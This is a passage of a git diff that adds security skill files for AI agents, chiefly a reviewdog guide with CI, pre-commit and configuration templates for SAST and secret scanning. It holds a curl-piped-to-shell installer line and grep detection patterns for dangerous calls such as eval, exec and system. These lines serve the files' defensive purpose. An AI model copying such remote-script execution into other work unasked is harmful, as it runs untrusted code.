systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/secsdlc/.category b/skills/secsdlc/.category new file mode 100644 index 0000000..d7487de --- /dev/null +++ b/skills/secsdlc/.category @@ -0,0 +1,5 @@ +# Secure SDLC Skills + +This directory contains skills for secure software development lifecycle practices. + +See the main [README.md](../../README.md) for usage and [CONTRIBUTE.md](../../CONTRIBUTE.md) for contribution guidelines. diff --git a/skills/secsdlc/reviewdog/SKILL.md b/skills/secsdlc/reviewdog/SKILL.md new file mode 100644 index 0000000..3c0fd23 --- /dev/null +++ b/skills/secsdlc/reviewdog/SKILL.md @@ -0,0 +1,385 @@ +--- +name: reviewdog +description: > + Automated code review and security linting integration for CI/CD pipelines using reviewdog. + Aggregates findings from multiple security and quality tools (SAST, linters, formatters) into + unified code review comments on pull requests. Use when: (1) Integrating security scanning + into code review workflows, (2) Automating security feedback on pull requests, + (3) Consolidating multiple tool outputs into actionable review comments, (4) Enforcing + secure coding standards in CI/CD pipelines, (5) Providing inline security annotations + during development. +version: 0.1.0 +maintainer: asrour +category: secsdlc +tags: [code-review, ci-cd, automation, security-feedback, pull-request, linting, sast-integration] +frameworks: [OWASP, CWE] +dependencies: + tools: [reviewdog, git] + optional: [semgrep, bandit, hadolint, checkov, gitleaks, shellcheck, eslint] +references: + - https://github.com/reviewdog/reviewdog + - https://reviewdog.github.io/ +--- + +# Reviewdog - Automated Security Code Review + +## Overview + +Reviewdog is an automated code review tool that integrates security scanning and linting results +into pull request review comments. It acts as a universal adapter between various security tools +(SAST scanners, linters, formatters) and code hosting platforms (GitHub, GitLab, Bitbucket), +enabling seamless security feedback during code review. + +**Key Capabilities:** +- Aggregates findings from multiple security and quality tools +- Posts inline review comments on specific code lines +- Supports 40+ linters and security scanners out-of-the-box +- Integrates with GitHub Actions, GitLab CI, CircleCI, and other CI platforms +- Filters findings to show only new issues in diff (fail-on-diff mode) +- Supports custom rulesets and security policies + +## Quick Start + +### Basic reviewdog usage with a security scanner: + +```bash +# Install reviewdog +go install github.com/reviewdog/reviewdog/cmd/reviewdog@latest + +# Run a security scanner and pipe to reviewdog +bandit -r . -f json | reviewdog -f=bandit -reporter=github-pr-review + +# Or use with Semgrep +semgrep --config=auto --json | reviewdog -f=semgrep -reporter=local +``` + +### GitHub Actions integration: + +```yaml +- name: Run reviewdog + uses: reviewdog/action-setup@v1 +- name: Security scan with reviewdog + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + bandit -r . -f json | reviewdog -f=bandit -reporter=github-pr-review +``` + +## Core Workflow + +### Step 1: Install reviewdog + +Install reviewdog in your CI environment or locally: + +```bash +# Via Go +go install github.com/reviewdog/reviewdog/cmd/reviewdog@latest + +# Via Homebrew (macOS/Linux) +brew install reviewdog + +# Via Docker +docker pull reviewdog/reviewdog:latest +``` + +### Step 2: Configure Security Tools + +Set up the security scanners you want to integrate. Reviewdog supports multiple input formats: + +**Supported Security Tools:** +- **SAST**: Semgrep, Bandit, ESLint Security, Brakeman +- **Secret Detection**: Gitleaks, TruffleHog, detect-secrets +- **IaC Security**: Checkov, tfsec, terrascan +- **Container Security**: Hadolint, Trivy, Dockle +- **General Linters**: ShellCheck, yamllint, markdownlint + +### Step 3: Integrate into CI/CD Pipeline + +Add reviewdog to your CI pipeline to automatically post security findings as review comments: + +**GitHub Actions Example:** +```yaml +name: Security Review +on: [pull_request] + +jobs: + security-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Setup reviewdog + uses: reviewdog/action-setup@v1 + + - name: Run Bandit SAST + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + pip install bandit + bandit -r . -f json | \ + reviewdog -f=bandit \ + -name="Bandit SAST" \ + -reporter=github-pr-review \ + -filter-mode=added \ + -fail-on-error +``` + +**GitLab CI Example:** +```yaml +security_review: + stage: test + script: + - pip install bandit reviewdog + - bandit -r . -f json | + reviewdog -f=bandit + -reporter=gitlab-mr-discussion + -filter-mode=diff_context + only: + - merge_requests +``` + +### Step 4: Configure Review Behavior + +Customize reviewdog's behavior using flags: + +```bash +# Filter to show only issues in changed lines +reviewdog -filter-mode=diff_context + +# Filter to show only issues in added lines +reviewdog -filter-mode=added + +# Fail the build if findings are present +reviewdog -fail-on-error + +# Set severity threshold +reviewdog -level=warning +``` + +### Step 5: Review Security Findings + +Reviewdog posts findings as inline comments on the pull request: + +- **Inline annotations**: Security issues appear directly on affected code lines +- **Severity indicators**: Critical, High, Medium, Low severity levels +- **Remediation guidance**: Links to CWE/OWASP references when available +- **Diff-aware filtering**: Only shows new issues introduced in the PR + +## Security Considerations + +- **API Token Security**: Store GitHub/GitLab tokens in secrets management (GitHub Secrets, GitLab CI/CD variables) + - Never commit tokens to version control + - Use minimum required permissions (read/write on pull requests) + - Rotate tokens regularly + +- **Access Control**: + - Configure reviewdog to run only on trusted branches + - Use CODEOWNERS to require security team approval for reviewdog config changes + - Restrict who can modify `.reviewdog.yml` configuration + +- **Audit Logging**: + - Log all security findings to SIEM or security monitoring platform + - Track when findings are introduced and resolved + - Monitor for bypassed security checks + +- **Compliance**: + - Maintains audit trail of security reviews (SOC2, ISO27001) + - Enforces security policy compliance in code review + - Supports compliance reporting through CI/CD artifacts + +- **Safe Defaults**: + - Use `fail-on-error` to block PRs with security findings + - Enable `filter-mode=added` to catch new vulnerabilities + - Configure severity thresholds appropriate to your risk tolerance + +## Bundled Resources + +### Scripts (`scripts/`) + +- `setup_reviewdog.py` - Automated reviewdog installation and CI configuration generator +- `run_security_suite.sh` - Runs multiple security scanners through reviewdog + +### References (`references/`) + +- `supported_tools.md` - Complete list of supported security tools with configuration examples +- `reporter_formats.md` - Available output formats and reporter configurations +- `cwe_mapping.md` - Mapping of common tool findings to CWE categories + +### Assets (`assets/`) + +- `github_actions_template.yml` - GitHub Actions workflow for multi-tool security scanning +- `gitlab_ci_template.yml` - GitLab CI configuration for reviewdog integration +- `.reviewdog.yml` - Sample reviewdog configuration file +- `pre_commit_config.yaml` - Pre-commit hook integration + +## Common Patterns + +### Pattern 1: Multi-Tool Security Suite + +Run multiple security tools and aggregate results in a single review: + +```bash +#!/bin/bash +# Run comprehensive security scan + +# Python security +bandit -r . -f json | reviewdog -f=bandit -name="Python SAST" -reporter=github-pr-review & + +# Secrets detection +gitleaks detect --report-format json | reviewdog -f=gitleaks -name="Secret Scan" -reporter=github-pr-review & + +# IaC security +checkov -d . -o json | reviewdog -f=checkov -name="IaC Security" -reporter=github-pr-review & + +wait +``` + +### Pattern 2: Severity-Based Gating + +Block PRs based on severity thresholds: + +```yaml +- name: Critical findings - Block PR + run: | + semgrep --config=p/security-audit --severity=ERROR --json | \ + reviewdog -f=semgrep -level=error -fail-on-error -reporter=github-pr-review + +- name: Medium findings - Comment only + run: | + semgrep --config=p/security-audit --severity=WARNING --json | \ + reviewdog -f=semgrep -level=warning -reporter=github-pr-review +``` + +### Pattern 3: Differential Security Scanning + +Only flag new security issues introduced in the current PR: + +```bash +# Only show findings in newly added code +reviewdog -filter-mode=added -fail-on-error + +# Show findings in modified context (added + surrounding lines) +reviewdog -filter-mode=diff_context +``` + +### Pattern 4: Custom Security Rules + +Integrate custom security policies using grep or custom parsers: + +```bash +# Check for prohibited patterns +grep -nH -R "eval(" . --include="*.py" | \ + reviewdog -f=grep -name="Dangerous Functions" -reporter=github-pr-review + +# Custom JSON parser +./custom_security_scanner.py --json | \ + reviewdog -f=rdjson -name="Custom Policy" -reporter=github-pr-review +``` + +## Integration Points + +- **CI/CD Platforms**: + - GitHub Actions (native action available) + - GitLab CI/CD + - CircleCI + - Jenkins + - Azure Pipelines + - Bitbucket Pipelines + +- **Security Tools**: + - **SAST**: Semgrep, Bandit, ESLint, Brakeman, CodeQL + - **Secrets**: Gitleaks, TruffleHog, detect-secrets + - **IaC**: Checkov, tfsec, terrascan, kics + - **Containers**: Hadolint, Trivy, Dockle + +- **Code Hosting**: + - GitHub (PR comments, check runs, annotations) + - GitLab (MR discussions) + - Bitbucket (inline comments) + - Gerrit (review comments) + +- **SDLC Integration**: + - **Pre-commit hooks**: Fast local feedback before push + - **PR/MR review**: Automated security review on code changes + - **Trunk protection**: Block merges with security findings + - **Security dashboard**: Aggregate findings for visibility + +## Troubleshooting + +### Issue: Reviewdog not posting comments + +**Solution**: +- Verify GitHub token has correct permissions (`repo` scope for private repos, `public_repo` for public) +- Check CI environment has `REVIEWDOG_GITHUB_API_TOKEN` or `GITHUB_TOKEN` set +- Ensure repository settings allow PR comments from workflows +- Verify reviewdog is running in PR context (not on push to main) + +### Issue: Too many false positives + +**Solution**: +- Use `filter-mode=added` to only show new issues +- Configure tool-specific suppressions in `.reviewdog.yml` +- Adjust severity thresholds with `-level` flag +- Use baseline files to ignore existing issues + +### Issue: Performance issues with large repositories + +**Solution**: +- Run reviewdog only on changed files using `filter-mode=diff_context` +- Cache tool dependencies and databases in CI +- Run expensive scanners on scheduled jobs, lightweight ones on PR +- Use parallel execution for multiple tools + +### Issue: Integration with custom security tools + +**Solution**: +- Convert tool output to supported format (checkstyle, sarif, rdjson, rdjsonl) +- Use `-f=rdjson` for custom JSON output following reviewdog diagnostic format +- Create errorformat pattern for text-based outputs +- See `references/reporter_formats.md` for format specifications + +## Advanced Configuration + +### Custom reviewdog configuration (`.reviewdog.yml`) + +```yaml +runner: + bandit: + cmd: bandit -r . -f json + format: bandit + name: Python Security + level: warning + + semgrep: + cmd: semgrep --config=auto --json + format: semgrep + name: Multi-language SAST + level: error + + gitleaks: + cmd: gitleaks detect --report-format json + format: gitleaks + name: Secret Detection + level: error +``` + +### Integration with Security Frameworks + +Map findings to OWASP Top 10 and CWE: + +```bash +# Semgrep with OWASP ruleset +semgrep --config "p/owasp-top-ten" --json | \ + reviewdog -f=semgrep -name="OWASP Top 10" -reporter=github-pr-review + +# Include CWE references in comments +reviewdog -f=semgrep -name="CWE Analysis" -reporter=github-pr-review +``` + +## References + +- [Reviewdog Documentation](https://github.com/reviewdog/reviewdog) +- [Supported Tools and Formats](https://reviewdog.github.io/supported-tools) +- [GitHub Actions Integration](https://github.com/reviewdog/action-setup) +- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/) +- [CWE Top 25](https://cwe.mitre.org/top25/) diff --git a/skills/secsdlc/reviewdog/assets/.gitkeep b/skills/secsdlc/reviewdog/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/secsdlc/reviewdog/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/secsdlc/reviewdog/assets/.reviewdog.yml b/skills/secsdlc/reviewdog/assets/.reviewdog.yml new file mode 100644 index 0000000..90e1d87 --- /dev/null +++ b/skills/secsdlc/reviewdog/assets/.reviewdog.yml @@ -0,0 +1,108 @@ +# Reviewdog configuration file +# Place this file in the root of your repository +# Run with: reviewdog -conf=.reviewdog.yml -reporter=github-pr-review + +runner: + # Python SAST with Bandit + bandit: + cmd: bandit -r . -f json 2>/dev/null + format: bandit + name: Bandit Python Security + level: error + fail-on-error: true + + # Multi-language SAST with Semgrep - Critical + semgrep-critical: + cmd: semgrep --config=auto --severity=ERROR --json --quiet 2>/dev/null + format: semgrep + name: Semgrep Critical Findings + level: error + fail-on-error: true + + # Multi-language SAST with Semgrep - Warnings + semgrep-warnings: + cmd: semgrep --config=auto --severity=WARNING --json --quiet 2>/dev/null + format: semgrep + name: Semgrep Security Warnings + level: warning + fail-on-error: false + + # OWASP Top 10 specific checks + semgrep-owasp: + cmd: semgrep --config "p/owasp-top-ten" --json --quiet 2>/dev/null + format: semgrep + name: OWASP Top 10 Vulnerabilities + level: error + fail-on-error: true + + # Secret detection with Gitleaks + gitleaks: + cmd: | + gitleaks detect --report-format json --report-path /tmp/gitleaks.json --no-git 2>/dev/null || true + cat /tmp/gitleaks.json 2>/dev/null || echo '{"findings":[]}' + format: gitleaks + name: Secret Detection + level: error + fail-on-error: true + + # Dockerfile linting with Hadolint + hadolint: + cmd: | + find . -type f -name "Dockerfile*" -exec hadolint --format json {} \; 2>/dev/null + format: hadolint + name: Dockerfile Security + level: warning + fail-on-error: false + + # IaC security with Checkov + checkov: + cmd: checkov -d . --quiet --compact -o json 2>/dev/null + format: checkov + name: Infrastructure as Code Security + level: warning + fail-on-error: false + + # Shell script analysis with ShellCheck + shellcheck: + cmd: | + find . -type f -name "*.sh" -exec shellcheck -f json {} \; 2>/dev/null + format: shellcheck + name: Shell Script Security + level: info + fail-on-error: false + + # Custom security patterns with grep + dangerous-functions: + cmd: | + grep -nH -R -E "(eval|exec|system|shell_exec|passthru|popen|proc_open)\s*\(" \ + --include="*.py" --include="*.php" --include="*.js" . 2>/dev/null || true + errorformat: + - "%f:%l:%m" + name: Dangerous Function Usage + level: warning + + # Hardcoded IP addresses + hardcoded-ips: + cmd: | + grep -nH -R -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" \ + --include="*.py" --include="*.js" --include="*.java" \ + --exclude-dir=node_modules --exclude-dir=.git . 2>/dev/null || true + errorformat: + - "%f:%l:%m" + name: Hardcoded IP Addresses + level: info + +# Global configuration +# Uncomment and modify as needed + +# Filter mode for all runners (can be overridden per runner) +# filter-mode: added # added, diff_context, file, nofilter + +# Default reporter +# reporter: local # local, github-pr-review, gitlab-mr-discussion, etc. + +# Fail level (any findings at this level or higher will cause failure) +# fail-level: error # error, warning, info + +# Diff options +# diff: "git diff FETCH_HEAD" diff --git a/skills/secsdlc/reviewdog/assets/github_actions_template.yml b/skills/secsdlc/reviewdog/assets/github_actions_template.yml new file mode 100644 index 0000000..4601527 --- /dev/null +++ b/skills/secsdlc/reviewdog/assets/github_actions_template.yml @@ -0,0 +1,161 @@ +name: Security Review with Reviewdog + +on: + pull_request: + branches: [main, develop, master] + types: [opened, synchronize, reopened] + +permissions: + contents: read + pull-requests: write + checks: write + +jobs: + security-scan: + name: Multi-Tool Security Scanning + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v3 + with: + fetch-depth: 0 # Full history for better diff analysis + + - name: Setup reviewdog + uses: reviewdog/action-setup@v1 + with: + reviewdog_version: latest + + # Python setup for Bandit and Semgrep + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install security tools + run: | + pip install bandit semgrep + + # Critical: Python SAST with Bandit + - name: Run Bandit SAST (Python) + if: hashFiles('**/*.py') != '' + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + bandit -r . -f json 2>/dev/null | \ + reviewdog -f=bandit \ + -name="Bandit Security Scan" \ + -reporter=github-pr-review \ + -filter-mode=added \ + -fail-on-error=true \ + -level=error + + # Critical: Multi-language SAST with Semgrep + - name: Run Semgrep SAST + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + semgrep --config=auto --severity=ERROR --json --quiet 2>/dev/null | \ + reviewdog -f=semgrep \ + -name="Semgrep Critical" \ + -reporter=github-pr-review \ + -filter-mode=added \ + -fail-on-error=true \ + -level=error + + # High: Semgrep warnings + - name: Run Semgrep Warnings + if: always() + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + semgrep --config=auto --severity=WARNING --json --quiet 2>/dev/null | \ + reviewdog -f=semgrep \ + -name="Semgrep Warnings" \ + -reporter=github-pr-check \ + -filter-mode=diff_context \ + -level=warning + + # Critical: Secret detection with Gitleaks + - name: Run Gitleaks Secret Scan + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + docker run --rm -v ${{ github.workspace }}:/repo \ + zricethezav/gitleaks:latest detect \ + --source=/repo \ + --report-format=json \ + --report-path=/repo/gitleaks.json \ + --no-git || true + + if [ -f gitleaks.json ]; then + cat gitleaks.json | \ + reviewdog -f=gitleaks \ + -name="Secret Detection" \ + -reporter=github-pr-review \ + -filter-mode=added \ + -fail-on-error=true \ + -level=error + fi + + # Container: Dockerfile linting with Hadolint + - name: Run Hadolint (Dockerfile) + if: hashFiles('**/Dockerfile*') != '' + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + # Find all Dockerfiles + find . -type f \( -name "Dockerfile*" -o -name "*.dockerfile" \) | while read dockerfile; do + docker run --rm -i hadolint/hadolint < "$dockerfile" | \ + reviewdog -f=checkstyle \ + -name="Hadolint: $dockerfile" \ + -reporter=github-pr-review \ + -filter-mode=diff_context \ + -level=warning || true + done + + # IaC: Terraform/CloudFormation security with Checkov + - name: Run Checkov (IaC Security) + if: hashFiles('**/*.tf', '**/*.yml', '**/*.yaml') != '' + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + docker run --rm -v ${{ github.workspace }}:/workspace \ + bridgecrew/checkov:latest \ + -d /workspace \ + --quiet \ + --compact \ + -o json 2>/dev/null | \ + reviewdog -f=checkov \ + -name="Checkov IaC Security" \ + -reporter=github-pr-review \ + -filter-mode=diff_context \ + -level=warning || true + + # Shell scripts: ShellCheck + - name: Run ShellCheck + if: hashFiles('**/*.sh') != '' + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + find . -type f -name "*.sh" | while read script; do + shellcheck -f json "$script" 2>/dev/null | \ + reviewdog -f=shellcheck \ + -name="ShellCheck" \ + -reporter=github-pr-check \ + -filter-mode=diff_context || true + done + + security-summary: + name: Security Scan Summary + runs-on: ubuntu-latest + needs: security-scan + if: always() + + steps: + - name: Post summary + run: | + echo "## Security Scan Completed" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "All security scans have been executed." >> $GITHUB_STEP_SUMMARY + echo "Review the checks above for any findings." >> $GITHUB_STEP_SUMMARY diff --git a/skills/secsdlc/reviewdog/assets/gitlab_ci_template.yml b/skills/secsdlc/reviewdog/assets/gitlab_ci_template.yml new file mode 100644 index 0000000..4f10dc9 --- /dev/null +++ b/skills/secsdlc/reviewdog/assets/gitlab_ci_template.yml @@ -0,0 +1,175 @@ +stages: + - security + +variables: + REVIEWDOG_REPORTER: "gitlab-mr-discussion" + REVIEWDOG_FILTER_MODE: "added" + +# Reusable reviewdog setup +.reviewdog_setup: + before_script: + - apk add --no-cache git curl + - | + # Install reviewdog + curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s -- -b /usr/local/bin + +# Python SAST with Bandit +bandit_scan: + extends: .reviewdog_setup + stage: security + image: python:3.11-alpine + before_script: + - !reference [.reviewdog_setup, before_script] + - pip install bandit + script: + - | + bandit -r . -f json 2>/dev/null | \ + reviewdog -f=bandit \ + -name="Bandit Security" \ + -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=$REVIEWDOG_FILTER_MODE \ + -fail-on-error=true \ + -level=error + only: + - merge_requests + allow_failure: false + +# Multi-language SAST with Semgrep +semgrep_scan: + extends: .reviewdog_setup + stage: security + image: python:3.11-alpine + before_script: + - !reference [.reviewdog_setup, before_script] + - pip install semgrep + script: + # Critical findings - block MR + - | + semgrep --config=auto --severity=ERROR --json --quiet 2>/dev/null | \ + reviewdog -f=semgrep \ + -name="Semgrep Critical" \ + -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=$REVIEWDOG_FILTER_MODE \ + -fail-on-error=true \ + -level=error + # Warnings - don't block + - | + semgrep --config=auto --severity=WARNING --json --quiet 2>/dev/null | \ + reviewdog -f=semgrep \ + -name="Semgrep Warnings" \ + -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=diff_context \ + -level=warning || true + only: + - merge_requests + allow_failure: false + +# Secret detection with Gitleaks +gitleaks_scan: + extends: .reviewdog_setup + stage: security + image: zricethezav/gitleaks:latest + script: + - gitleaks detect --report-format json --report-path gitleaks.json --no-git || true + - | + if [ -f gitleaks.json ]; then + cat gitleaks.json | \ + reviewdog -f=gitleaks \ + -name="Secret Detection" \ + -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=$REVIEWDOG_FILTER_MODE \ + -fail-on-error=true \ + -level=error + fi + only: + - merge_requests + allow_failure: false + +# Dockerfile security with Hadolint +hadolint_scan: + extends: .reviewdog_setup + stage: security + image: hadolint/hadolint:latest-alpine + script: + - | + find . -type f \( -name "Dockerfile*" -o -name "*.dockerfile" \) | while read dockerfile; do + hadolint "$dockerfile" --format json 2>/dev/null | \ + reviewdog -f=hadolint \ + -name="Hadolint: $dockerfile" \ + -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=diff_context \ + -level=warning || true + done + only: + - merge_requests + changes: + - "**/Dockerfile*" + - "**/*.dockerfile" + allow_failure: true + +# IaC security with Checkov +checkov_scan: + extends: .reviewdog_setup + stage: security + image: bridgecrew/checkov:latest + script: + - | + checkov -d . --quiet --compact -o json 2>/dev/null | \ + reviewdog -f=checkov \ + -name="Checkov IaC Security" \ + -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=diff_context \ + -level=warning || true + only: + - merge_requests + changes: + - "**/*.tf" + - "**/*.yml" + - "**/*.yaml" + allow_failure: true + +# ShellCheck for shell scripts +shellcheck_scan: + extends: .reviewdog_setup + stage: security + image: koalaman/shellcheck-alpine:latest + script: + - | + find . -type f -name "*.sh" | while read script; do + shellcheck -f json "$script" 2>/dev/null | \ + reviewdog -f=shellcheck \ + -name="ShellCheck" \ + -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=diff_context || true + done + only: + - merge_requests + changes: + - "**/*.sh" + allow_failure: true + +# Combined security suite (alternative approach) +security_suite: + extends: .reviewdog_setup + stage: security + image: python:3.11-alpine + before_script: + - !reference [.reviewdog_setup, before_script] + - pip install bandit semgrep + script: + # Run all tools in parallel + - | + (bandit -r . -f json 2>/dev/null | \ + reviewdog -f=bandit -name="Bandit" -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=$REVIEWDOG_FILTER_MODE -fail-on-error=true) & + + (semgrep --config=auto --json --quiet 2>/dev/null | \ + reviewdog -f=semgrep -name="Semgrep" -reporter=$REVIEWDOG_REPORTER \ + -filter-mode=$REVIEWDOG_FILTER_MODE) & + + wait + only: + - merge_requests + allow_failure: false + # Comment this job out if using individual jobs above + when: manual diff --git a/skills/secsdlc/reviewdog/assets/pre_commit_config.yaml b/skills/secsdlc/reviewdog/assets/pre_commit_config.yaml new file mode 100644 index 0000000..0b12675 --- /dev/null +++ b/skills/secsdlc/reviewdog/assets/pre_commit_config.yaml @@ -0,0 +1,101 @@ +# Pre-commit hooks configuration with reviewdog +# Install: pip install pre-commit +# Setup: pre-commit install +# Run manually: pre-commit run --all-files + +repos: + # Reviewdog with Bandit (Python security) + - repo: local + hooks: + - id: reviewdog-bandit + name: Reviewdog - Bandit Security Scan + entry: bash -c 'bandit -r . -f json 2>/dev/null | reviewdog -f=bandit -reporter=local -fail-on-error=true -level=error' + language: system + types: [python] + pass_filenames: false + require_serial: true + + # Reviewdog with Semgrep (multi-language) + - repo: local + hooks: + - id: reviewdog-semgrep-critical + name: Reviewdog - Semgrep Critical + entry: bash -c 'semgrep --config=auto --severity=ERROR --json --quiet 2>/dev/null | reviewdog -f=semgrep -reporter=local -fail-on-error=true -level=error' + language: system + types: [python, javascript, typescript, java, go, ruby, php] + pass_filenames: false + require_serial: true + + - id: reviewdog-semgrep-warnings + name: Reviewdog - Semgrep Warnings + entry: bash -c 'semgrep --config=auto --severity=WARNING --json --quiet 2>/dev/null | reviewdog -f=semgrep -reporter=local -level=warning || true' + language: system + types: [python, javascript, typescript, java, go, ruby, php] + pass_filenames: false + require_serial: true + + # Reviewdog with Gitleaks (secrets) + - repo: local + hooks: + - id: reviewdog-gitleaks + name: Reviewdog - Secret Detection + entry: bash -c 'gitleaks detect --report-format json --report-path /tmp/gitleaks.json --no-git 2>/dev/null || true; if [ -f /tmp/gitleaks.json ]; then cat /tmp/gitleaks.json | reviewdog -f=gitleaks -reporter=local -fail-on-error=true -level=error; fi' + language: system + pass_filenames: false + require_serial: true + + # Reviewdog with Hadolint (Dockerfile) + - repo: local + hooks: + - id: reviewdog-hadolint + name: Reviewdog - Hadolint Dockerfile + entry: bash -c 'find . -type f -name "Dockerfile*" -exec hadolint --format json {} \; 2>/dev/null | reviewdog -f=hadolint -reporter=local -level=warning || true' + language: system + types: [dockerfile] + pass_filenames: false + require_serial: true + + # Reviewdog with ShellCheck + - repo: local + hooks: + - id: reviewdog-shellcheck + name: Reviewdog - ShellCheck + entry: bash -c 'shellcheck -f json "$@" 2>/dev/null | reviewdog -f=shellcheck -reporter=local || true' + language: system + types: [shell] + require_serial: true + + # Standard pre-commit hooks (optional, complement reviewdog) + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: check-yaml + - id: check-json + - id: check-added-large-files + args: ['--maxkb=500'] + - id: detect-private-key + - id: trailing-whitespace + - id: end-of-file-fixer + + # Python code formatting (optional) + - repo: https://github.com/psf/black + rev: 23.12.1 + hooks: + - id: black + language_version: python3 + + # Python import sorting (optional) + - repo: https://github.com/pycqa/isort + rev: 5.13.2 + hooks: + - id: isort + +# Configuration +default_language_version: + python: python3.11 + +# Fail fast on first error +fail_fast: false + +# Minimum pre-commit version +minimum_pre_commit_version: '2.20.0' diff --git a/skills/secsdlc/reviewdog/references/cwe_mapping.md b/skills/secsdlc/reviewdog/references/cwe_mapping.md new file mode 100644 index 0000000..35d211c --- /dev/null +++ b/skills/secsdlc/reviewdog/references/cwe_mapping.md @@ -0,0 +1,348 @@ +# CWE Mapping for Security Tools + +This reference maps common security tool findings to CWE (Common Weakness Enumeration) categories. + +## Table of Contents + +- [OWASP Top 10 to CWE Mapping](#owasp-top-10-to-cwe-mapping) +- [Tool-Specific CWE Coverage](#tool-specific-cwe-coverage) +- [CWE Categories](#cwe-categories) +- [Severity Mapping](#severity-mapping) + +## OWASP Top 10 to CWE Mapping + +Map OWASP Top 10 2021 vulnerabilities to their primary CWEs: + +| OWASP Category | CWE IDs | Reviewdog Detection | +|----------------|---------|---------------------| +| **A01: Broken Access Control** | CWE-22, CWE-23, CWE-35, CWE-59, CWE-200, CWE-201, CWE-219, CWE-264, CWE-275, CWE-284, CWE-285, CWE-352, CWE-359, CWE-377, CWE-402, CWE-425, CWE-441, CWE-497, CWE-538, CWE-540, CWE-548, CWE-552, CWE-566, CWE-601, CWE-639, CWE-651, CWE-668, CWE-706, CWE-862, CWE-863, CWE-913, CWE-922, CWE-1275 | Semgrep, Bandit, Checkov | +| **A02: Cryptographic Failures** | CWE-259, CWE-327, CWE-328, CWE-329, CWE-330, CWE-331, CWE-335, CWE-336, CWE-337, CWE-338, CWE-340, CWE-347, CWE-523, CWE-720, CWE-757, CWE-759, CWE-760, CWE-780, CWE-818, CWE-916 | Bandit, Semgrep, Gitleaks | +| **A03: Injection** | CWE-20, CWE-74, CWE-75, CWE-77, CWE-78, CWE-79, CWE-80, CWE-83, CWE-87, CWE-88, CWE-89, CWE-90, CWE-91, CWE-93, CWE-94, CWE-95, CWE-96, CWE-97, CWE-98, CWE-99, CWE-100, CWE-113, CWE-116, CWE-138, CWE-184, CWE-470, CWE-471, CWE-564, CWE-610, CWE-643, CWE-644, CWE-652, CWE-917 | Semgrep, Bandit, ESLint | +| **A04: Insecure Design** | CWE-73, CWE-183, CWE-209, CWE-213, CWE-235, CWE-256, CWE-257, CWE-266, CWE-269, CWE-280, CWE-311, CWE-312, CWE-313, CWE-316, CWE-419, CWE-430, CWE-434, CWE-444, CWE-451, CWE-472, CWE-501, CWE-522, CWE-525, CWE-539, CWE-579, CWE-598, CWE-602, CWE-642, CWE-646, CWE-650, CWE-653, CWE-656, CWE-657, CWE-799, CWE-807, CWE-840, CWE-841, CWE-927, CWE-1021, CWE-1173 | Architecture review | +| **A05: Security Misconfiguration** | CWE-2, CWE-11, CWE-13, CWE-15, CWE-16, CWE-260, CWE-315, CWE-520, CWE-526, CWE-537, CWE-541, CWE-547, CWE-611, CWE-614, CWE-756, CWE-776, CWE-942, CWE-1004, CWE-1032, CWE-1174 | Checkov, Hadolint, Trivy | +| **A06: Vulnerable Components** | CWE-1104, CWE-1035 | Trivy, Dependabot, Snyk | 